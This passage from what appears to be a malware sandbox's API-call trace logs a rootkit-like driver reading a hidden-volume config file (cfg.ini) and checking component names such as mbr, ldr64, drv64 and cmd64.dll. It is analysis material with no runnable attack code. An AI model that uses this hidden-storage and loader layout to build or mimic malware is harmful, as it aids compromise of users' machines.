FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.344] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800344a000 [0120.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.344] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.344] IdePortDispatch () returned 0x103 [0120.344] KeWaitForMutexObject () returned 0x0 [0120.345] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.345] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.345] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.345] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.345] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.345] IdePortDispatch () returned 0x103 [0120.345] KeWaitForMutexObject () returned 0x0 [0120.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.345] KeLeaveCriticalRegion () [0120.345] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.345] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.345] KeEnterCriticalRegion () [0120.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.345] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.345] KeLeaveCriticalRegion () [0120.345] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.345] KeEnterCriticalRegion () [0120.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.345] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.345] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.346] KeLeaveCriticalRegion () [0120.346] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.346] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.346] KeEnterCriticalRegion () [0120.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.346] ExFreePoolWithTag (P=0xfffffa8003bbc810, Tag=0x0) [0120.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.346] KeLeaveCriticalRegion () [0120.346] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.346] ReleaseMutex (hMutex=0xf0) returned 1 [0120.346] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.346] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.346] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.346] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.346] KeEnterCriticalRegion () [0120.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.346] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.346] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.346] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.346] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.346] IdePortDispatch () returned 0x103 [0120.346] KeWaitForMutexObject () returned 0x0 [0120.346] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.346] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.346] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.346] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.346] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.346] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.346] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.346] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.346] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.347] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.347] KeLeaveCriticalRegion () [0120.347] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.347] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.347] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.347] KeEnterCriticalRegion () [0120.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.347] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.347] IdePortDispatch () returned 0x103 [0120.347] KeWaitForMutexObject () returned 0x0 [0120.347] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.347] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.347] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.347] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.347] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.347] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.347] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.347] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.347] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.347] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.347] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.347] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.347] KeLeaveCriticalRegion () [0120.347] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.347] ReleaseMutex (hMutex=0x100) returned 1 [0120.347] Sleep (dwMilliseconds=0x2bf20) [0120.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6aeea7f0, dwHighDateTime=0x1d24fa4)) [0120.354] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.354] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.354] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.354] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.354] KeEnterCriticalRegion () [0120.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.354] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.354] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.354] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.354] IdePortDispatch () returned 0x103 [0120.354] KeWaitForMutexObject () returned 0x0 [0120.354] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.354] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.354] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.354] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.354] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.355] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc390 [0120.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.355] KeLeaveCriticalRegion () [0120.355] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.355] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.355] KeEnterCriticalRegion () [0120.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.355] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.355] KeLeaveCriticalRegion () [0120.355] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.355] KeEnterCriticalRegion () [0120.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.355] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.355] IdePortDispatch () returned 0x103 [0120.355] KeWaitForMutexObject () returned 0x0 [0120.355] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.355] KeLeaveCriticalRegion () [0120.355] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.355] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.355] KeEnterCriticalRegion () [0120.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.355] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800344d000 [0120.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.355] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.355] IdePortDispatch () returned 0x103 [0120.355] KeWaitForMutexObject () returned 0x0 [0120.356] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.356] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.356] IdePortDispatch () returned 0x103 [0120.356] KeWaitForMutexObject () returned 0x0 [0120.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.356] KeLeaveCriticalRegion () [0120.356] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.356] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.356] KeEnterCriticalRegion () [0120.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.356] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.356] KeLeaveCriticalRegion () [0120.356] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.357] KeEnterCriticalRegion () [0120.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.357] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.357] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc1f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.357] KeLeaveCriticalRegion () [0120.357] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.357] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.357] KeEnterCriticalRegion () [0120.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.357] ExFreePoolWithTag (P=0xfffffa8003bbc390, Tag=0x0) [0120.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.357] KeLeaveCriticalRegion () [0120.357] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.357] ReleaseMutex (hMutex=0xf0) returned 1 [0120.357] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.364] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.364] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.364] KeEnterCriticalRegion () [0120.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.364] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.364] IdePortDispatch () returned 0x103 [0120.364] KeWaitForMutexObject () returned 0x0 [0120.364] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.364] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.364] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.364] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.364] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.364] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcb10 [0120.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.364] KeLeaveCriticalRegion () [0120.364] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.365] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.365] KeEnterCriticalRegion () [0120.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.365] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.365] KeLeaveCriticalRegion () [0120.365] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.365] KeEnterCriticalRegion () [0120.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.365] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.365] IdePortDispatch () returned 0x103 [0120.365] KeWaitForMutexObject () returned 0x0 [0120.365] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.365] KeLeaveCriticalRegion () [0120.365] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.365] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.365] KeEnterCriticalRegion () [0120.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.365] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003450000 [0120.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.365] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.365] IdePortDispatch () returned 0x103 [0120.365] KeWaitForMutexObject () returned 0x0 [0120.366] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.366] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.366] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.366] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.366] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.366] IdePortDispatch () returned 0x103 [0120.366] KeWaitForMutexObject () returned 0x0 [0120.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.366] KeLeaveCriticalRegion () [0120.366] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.366] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.366] KeEnterCriticalRegion () [0120.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.366] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.366] KeLeaveCriticalRegion () [0120.366] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.366] KeEnterCriticalRegion () [0120.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.366] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.366] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.367] KeLeaveCriticalRegion () [0120.367] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.367] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.367] KeEnterCriticalRegion () [0120.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.367] ExFreePoolWithTag (P=0xfffffa8003bbcb10, Tag=0x0) [0120.367] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.367] KeLeaveCriticalRegion () [0120.367] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.367] ReleaseMutex (hMutex=0xf0) returned 1 [0120.367] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.367] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.367] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.367] KeEnterCriticalRegion () [0120.367] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.367] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.367] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.367] MmProbeAndLockPages (in: 